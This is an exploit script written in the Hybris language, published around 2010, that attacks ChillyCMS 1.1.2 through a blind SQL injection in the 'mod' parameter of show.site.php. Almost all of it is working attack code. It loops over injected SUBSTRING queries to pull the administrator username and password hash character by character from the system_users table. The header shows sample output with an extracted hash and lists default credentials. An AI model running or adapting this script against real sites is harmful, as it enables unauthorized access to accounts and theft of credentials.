ChillyCMS Blind SQL Injection

`  
  
#!/usr/bin/hybris  
#################################################################################  
#  
# Exploit Title: ChillyCMS Blind Sql Injection  
# Date: 14-05-2010  
# Author: IHTeam  
# Software Link:   
http://chillycms.bplaced.net/chillyCMS/core/show.site.php?id=9  
# Version: 1.1.2  
# Tested on: Win/Linux  
#  
#  
# Example:  
# [simone@simons Advisories]$ hybris chillycms.hy  
# Searching Username... :  
# admin  
# Searching MD5... :  
# d033e22ae348aeb5660fc2140aec35850c4da997  
#  
#  
# DEFAULT USERNAME AND PASSWORD:  
# User: jens  
# Pass: demo  
#  
# Thanks to evilsocket for Hybris  
# http://www.hybris-lang.org/  
#################################################################################  
  
import std.*;  
  
query1 = "4/**/AND/**/(SELECT/**/SUBSTRING(";  
query2 = ")/**/FROM/**/system_users/**/limit/**/0,1)=char(";  
  
chars =   
[48:0,49:1,50:2,51:3,52:4,53:5,54:6,55:7,56:8,57:9,97:'a',98:'b',99:'c',100:'d',101:'e',102:'f'];  
usr = "";  
password = "";  
  
i=1;  
println("Searching Username... : ");  
while(1) {  
found=false;  
chrs = 'a' .. 'z';  
foreach(char of chrs) {  
_chrs = toint(char);  
url =   
"/chillyCMS/core/show.site.php?editprofile&mod="+query1+"user,"+i+",1"+query2+_chrs+")";  
html = http_get( "http://localhost", url );  
if (html ~= "/name='user'/") {  
usr += char;  
i+=1;  
found=true;  
}  
}  
if (!found) {  
break;  
}  
}  
println(usr);  
  
i=1;  
println("Searching MD5... : ");  
while(1) {  
found=false;  
foreach(char of chars.keys()) {  
url =   
"/chillyCMS/core/show.site.php?editprofile&mod="+query1+"pw,"+i+",1"+query2+char+")";  
html = http_get( "http://localhost", url );  
if (html ~= "/name='user'/") {  
password += chars[char];  
i+=1;  
found=true;  
}  
}  
if (!found) {  
break;  
}  
}  
println(password);  
println();  
  
  
`